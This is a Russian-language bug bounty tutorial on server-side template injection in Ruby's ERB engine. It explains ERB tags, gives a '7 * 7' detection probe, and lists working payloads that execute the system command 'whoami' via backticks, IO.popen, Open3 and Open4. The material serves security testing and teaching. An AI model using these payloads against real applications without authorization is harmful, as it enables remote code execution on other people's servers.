Bug Bounty, Bug Hunting, Ruby, Ruby - ERB, Ruby - Slim, Server Side Template Injection (SSTI)

#44 Bug Bounty v.2 — Server Side Template Injection (SSTI). Ruby — ERB. Ruby — Slim

Здравствуйте, дорогие друзья.

ERB — это движок создания шаблонов на Ruby, используемый для встраивания кода на ruby. Согласно Google, “шаблон ERB выглядит как обычный текстовый документ, в который вставлены теги, содержащие код на Ruby. При оценке этот код с тегами может изменять текст в шаблоне”. Пример уязвимого шаблона можно найти на изображении ниже:

Пример уязвимого шаблона

Обратите внимание, что ERB использует следующие теги для встраивания кода:

● <% code %>

● <%= code %>

Первый пример “<%code%>” используется для выполнения кода на ruby, а второй пример “<%= code%>” используется для выполнения кода на ruby и возврата результатов. Чтобы протестировать внедрение шаблона на стороне сервера в этом движке, используйте следующую команду:

● <%= 7 * 7 %>

<%= 7 * 7 %>

Как вы можете видеть выше, код был выполнен и вернул значение “49”. Это явный признак того, что сервер уязвим для внедрения шаблона на стороне сервера. Чтобы проверить выполнение кода, просто запустите свой ruby-код, как показано ниже:

● <%= whoami %>

● <%= IO.popen(‘whoami’).readlines() %>

● <% require ‘open3’ %><% @a,@b,@c,@d=Open3.popen3(‘whoami’) %><%=

@b.readline()%>

● <% require ‘open4’ %><% @a,@b,@c,@d=Open4.popen4(‘whoami’) %><%=

@c.readline()%>